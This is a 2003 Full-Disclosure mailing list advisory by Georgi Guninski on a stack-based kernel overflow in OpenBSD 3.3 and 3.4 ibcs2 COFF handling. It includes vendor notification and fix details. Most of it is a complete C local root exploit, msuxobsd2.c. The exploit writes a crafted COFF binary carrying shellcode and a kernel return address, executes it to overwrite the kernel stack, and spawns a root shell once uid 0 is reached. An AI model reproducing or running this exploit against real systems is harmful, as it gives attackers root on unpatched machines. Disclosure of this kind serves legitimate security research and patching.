[Full-Disclosure] OpenBSD kernel overflow, yet still *BSD much better than windows

• Previous message: David Maynor: "Re: [Full-Disclosure] defense against session hijacking"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

To: full-disclosure@lists.netsys.com
Date: Tue, 18 Nov 2003 00:18:15 +0200

Georgi Guninski security advisory #64, 2003

OpenBSD kernel overflow, yet still *BSD much better than windows

Please help Liu!
Liu disclosed 13 explorer bugs on one day and now needs a computer of his own.
Please donate at: http://clik.to/donatepc
"The less that you give, you're a taker"
-- Black Sabbath, http://www.lyricsfreak.com/b/black-sabbath/19364.html

Systems affected:
tested on OpenBSD 3.3 and 3.4, probably other versions also affected

Risk: Medium
Date: 17 November 2003

Legal Notice:
This Advisory is Copyright (c) 2003 Georgi Guninski.
You may distribute it unmodified.
You may not modify it and distribute it or distribute parts
of it without the author's written permission - this especially applies to
so called "vulnerabilities databases" and securityfocus, microsoft, cert
and mitre.
If you want to link to this content use the URL:
http://www.guninski.com/msuxobsd2.html
Anything in this document may change without notice.

Disclaimer:
The information in this advisory is believed to be true though
it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.

Description:

There is a stack based kernel overflow in OpenBSD 3.3,3.4 probably earlier
in ibcs2 code. Exploit code is available for 3.3. On 3.4 the kernel is
paniced with smashed stack, ease of exploitation is currently unknown.

Details:
The problem is in:
"ibcs2_exec.c" line 427 of 738
        char buf[128], *bufp;
        int len = sh.s_size, path_index, entry_len;
                
        error = vn_rdwr(UIO_READ, epp->ep_vp, (caddr_t) buf,
                                len, sh.s_scnptr,
                                UIO_SYSSPACE, IO_NODELOCKED, p->p_ucred,
                                &resid, p);

len is taken from the binary and is used for copying in stack based buffer
which is wrong.

Oh, I forgot.
Please help Liu!
Liu disclosed 13 explorer bugs on one day and now needs a computer of his own.
Please donate at: http://clik.to/donatepc
"The less that you give, you're a taker"
-- Black Sabbath, http://www.lyricsfreak.com/b/black-sabbath/19364.html

--msuxobsd2.c---------------------------------

/*
Legal Notice:
This Advisory is Copyright (c) 2003 Georgi Guninski.
This program cannot be used in "vulnerabilities databases" and
securityfocus, microsoft, cert and mitre.
If you want to link to this content use the URL:
http://www.guninski.com/msuxobsd2.html
Anything in this document may change without notice.

Disclaimer:
The information in this advisory is believed to be true though
it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.

*/
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/sysctl.h>
#include <sys/signal.h>
#include <sys/utsname.h>
#include <sys/stat.h>
#include "/usr/src/sys/compat/ibcs2/ibcs2_exec.h"

// some code taken from noir article from phrack 60

void
get_proc(pid_t pid, struct kinfo_proc *kp)
{
   u_int arr[4], len;

        arr[0] = CTL_KERN;
        arr[1] = KERN_PROC;
        arr[2] = KERN_PROC_PID;
        arr[3] = pid;
        len = sizeof(struct kinfo_proc);
        if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) {
                perror("sysctl");
                fprintf(stderr, "this is an unexpected error, rerun!\n");
                exit(-1);
        }

}
int msux()
{
int fd;
struct coff_filehdr cf;
struct coff_aouthdr ca;
struct coff_scnhdr s1,s2,s3;
int exe[512];
char fil[]="/tmp/vvc";
int v;
unsigned int initpid=0xe7610000;
unsigned int reta=0xe770fc8c;//0xe770bc68; //0xe7719c64;//0xe770bc64;
struct kinfo_proc kp;
long ppid,mypid;
int p,st;

get_proc((pid_t) getppid(), &kp);

ppid=(u_long) kp.kp_eproc.e_paddr;

get_proc((pid_t) getpid(), &kp);
mypid=(u_long) kp.kp_eproc.e_paddr;

// address of kernel's p_comm for 3.3
reta=0x10f+(u_long) kp.kp_eproc.e_paddr;

printf("ppid=%x mypid=%x %reta=%x\n",ppid,mypid,reta);
fd=open(fil,O_CREAT|O_RDWR,0700);
if (fd==-1) {perror("open");return 1;}
memset(&cf,0,sizeof(cf));
memset(&ca,0,sizeof(ca));
memset(&s1,0,sizeof(s1));
memset(&s2,0,sizeof(s2));
memset(&s3,0,sizeof(s3));
//memset(exe,0xe7,sizeof(exe));
for(v=0;v<sizeof(exe)/sizeof(int);v++) {exe[v]= 0xbabe0000 + v; /*0xcafebabe;*/}
exe[2]=ppid; // to avoid an early crash
exe[1]=reta; // return address

p=st=3; //0xd;

exe[p++]=0xfebabeb9; // shell code
exe[p++]=0x10598bca;
exe[p++]=0x4389c031;
exe[p++]=0x89138b04;
exe[p++]=0x90900442;

*(int*)((int)&exe[st]+1) = ppid;

exe[p++]=0xbabeb850; // call exit1 to return in userland
exe[p++]=0xb850cafe;
exe[p++]=0xd01c59b8;
exe[p++]=0x9090d0ff;

*(int*)((int)&exe[st]+2+5*4) = mypid;

cf.f_magic = COFF_MAGIC_I386 ;
cf.f_nscns=3;
ca.a_magic = COFF_ZMAGIC;
s1.s_flags = COFF_STYP_TEXT;
s2.s_flags = COFF_STYP_DATA;
s3.s_flags = COFF_STYP_SHLIB;
s3.s_size= 128+12*4 + 30*4; //sizeof(exe);
write(fd,&cf,sizeof(cf));
write(fd,&ca,sizeof(ca));
write(fd,&s1,sizeof(s1));
write(fd,&s2,sizeof(s2));
write(fd,&s3,sizeof(s3));
write(fd,exe,sizeof(exe));
printf("Now exec %s\n",fil);
execl(fil,0);
exit(42); // should not be reached if successfull
}

int main(int ac,char **av)
{
uid_t ui;
// this is kernel's p_comm. we first jump here.
char goodfile[]="\x54\x58\x40\x40\x40\x40\xff\xd0";
char tmp[1000];

if (strcmp(av[0],goodfile))
        {
        snprintf(tmp,sizeof(tmp),"cp %s \"%s\"",av[0],goodfile);
        system(tmp);execl(goodfile,goodfile,0);
        return 42; //should not be reached
        }
printf("written by georgi\n");
printf("\nPlease help Liu - http://clik.to/donatepc\n\n");
fflush(stdout);
#define SWEETDREAM 2

if(!fork()) msux();
while(42)
{
sleep(SWEETDREAM);
ui=getuid();
printf("uid=%x\n",ui);
if (ui==0) execl("/bin/sh",0);
}
return 42;
}

----------------------------------------------

Vendor status:
OpenBSD was notified on Sat, 15 Nov 2003 17:57:33 +0200.
Fix: available in cvs for 3.4:
http://www.openbsd.org/cgi-bin/cvsweb/src/sys/compat/ibcs2/ibcs2_exec.c.diff?r1=1.14.6.1&r2=1.14.6.2
For earlier versions should be available shortly.

Regards,
Georgi Guninski
http://www.guninski.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

• Previous message: David Maynor: "Re: [Full-Disclosure] defense against session hijacking"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]